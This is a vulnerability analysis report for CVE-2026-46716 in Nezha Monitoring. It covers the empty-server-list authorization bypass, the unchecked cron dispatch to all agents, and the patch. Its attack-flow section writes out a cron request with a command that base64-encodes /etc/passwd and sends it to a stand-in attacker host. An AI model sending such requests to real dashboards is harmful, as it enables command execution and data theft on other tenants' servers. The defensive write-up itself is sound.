README.md
Rendering markdown...
# CVE-2026-46716 Vulnerability Analysis Report
---
## 1. Basic Information
| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-46716 |
| **GHSA** | [GHSA-99gv-2m7h-3hh9](https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9) |
| **CVSS Score** | 9.9 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
| **CWE** | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management), CWE-78 (OS Command Injection) |
| **Affected Versions** | nezhahq/nezha >= 1.4.0, < 1.14.15-0.20260517022419 |
| **Fixed Version** | commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419 |
---
## 2. Software Overview
Nezha Monitoring is a self-hosted lightweight server monitoring tool written in Go. It consists of a central Dashboard (web UI + REST API) and Agents installed on each monitored server.
**Role Levels:**
- `RoleAdmin (0)`: Full access to all features
- `RoleMember (1)`: Restricted access — any authenticated user can create cron jobs for servers they own
---
## 3. Root Cause Analysis
### 3.1 CheckPermission — No Ownership Validation for Empty Server List
The cron creation endpoint (`POST /api/v1/cron`) calls `ServerShared.CheckPermission` to validate that the requesting user owns all servers in the provided server list.
```go
// service/singleton/singleton.go
func (c *class[K, V]) CheckPermission(ctx *gin.Context, idList iter.Seq[K]) bool {
for id := range idList { // loop body never executes when servers=[]
if s, ok := c.list[id]; ok {
if !s.HasPermission(ctx) {
return false
}
}
}
return true // no servers to check → returns true with no validation
}
```
Passing `"servers": []` produces an empty iterator, so no ownership validation occurs and `CheckPermission` returns `true` — the cron is accepted regardless of the caller's privileges.
### 3.2 Missing Ownership Validation in CronTrigger (pre-patch)
After the cron is stored, `CronTrigger` dispatches the command to servers at execution time. Before the patch, it iterated the global `ServerShared` map without checking whether each server belongs to the cron creator:
```go
// service/singleton/crontask.go (pre-patch)
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
return func() {
for _, s := range ServerShared.Range {
// cover=CronCoverAll + empty exclude list → sends to ALL servers
if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {
continue
}
// No ownership check — command dispatched to every connected agent
s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})
}
}
}
```
With `cover=1` (all servers) and `servers=[]` (empty exclude list), the command is sent to every agent in the pool.
---
## 4. Attack Flow
```
Attacker (RoleMember account)
│
▼
POST /api/v1/login → JWT token
│
▼
POST /api/v1/cron
{"servers":[], "cover":1, "command":"curl http://attacker/$(cat /etc/passwd|base64)"}
│
├─ commonHandler: JWT valid → pass
├─ CheckPermission([]) → true (empty server list — no ownership validation performed)
└─ Cron stored; at next schedule tick, CronTrigger fires:
├─ Server A (another tenant) → command executed
├─ Server B (another tenant) → command executed
└─ Server N (another tenant) → command executed
```
---
## 5. Attack Prerequisites
| # | Condition | Details |
|---|-----------|---------|
| 1 | Vulnerable version | < 1.14.15-0.20260517022419 (commit d7526351cf97) |
| 2 | Any authenticated account | Members are sufficient; admin not required |
| 3 | Connected agents | Required for actual command execution at dispatch time |
---
## 6. Patch Analysis (commit d7526351cf97)
The fix adds server ownership validation **inside CronTrigger** — it does not change API-level access control, and `CheckPermission` continues to accept empty server lists without validation.
```go
// service/singleton/crontask.go (post-patch)
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
return func() {
for _, s := range ServerShared.Range {
if !cronCanSendToServer(cr, s) { // NEW: ownership check
continue
}
// Only dispatches to servers owned by the cron creator
...
}
}
}
func cronCanSendToServer(cr *model.Cron, server *model.Server) bool {
return cr.UserID == server.UserID || userIsAdmin(cr.UserID)
}
```
**What the patch changes:**
| Fix | Description |
|-----|-------------|
| `cronCanSendToServer()` | Validates `cr.UserID == server.UserID` before each dispatch in CronTrigger |
| `cronCanBeTriggeredByOwner()` | Ownership check in `SendTriggerTasks` (alert-triggered crons) |
**What the patch does NOT change:**
- API access control for `POST /api/v1/cron` remains `commonHandler` (members can still create crons)
- `CheckPermission` still accepts empty server lists with no ownership validation
---
## 7. Detection Note
Both vulnerable and patched versions return HTTP 200 for `POST /api/v1/cron` with `servers:[], cover:1` from a member account — the API-level behavior is identical. The difference is only in execution behavior. Version detection via `GET /api/v1/setting` (admin credentials required) is the reliable distinguishing signal.
---
## 8. References
- [GHSA-99gv-2m7h-3hh9](https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9)
- [NVD — CVE-2026-46716](https://nvd.nist.gov/vuln/detail/CVE-2026-46716)
- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)
- [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
---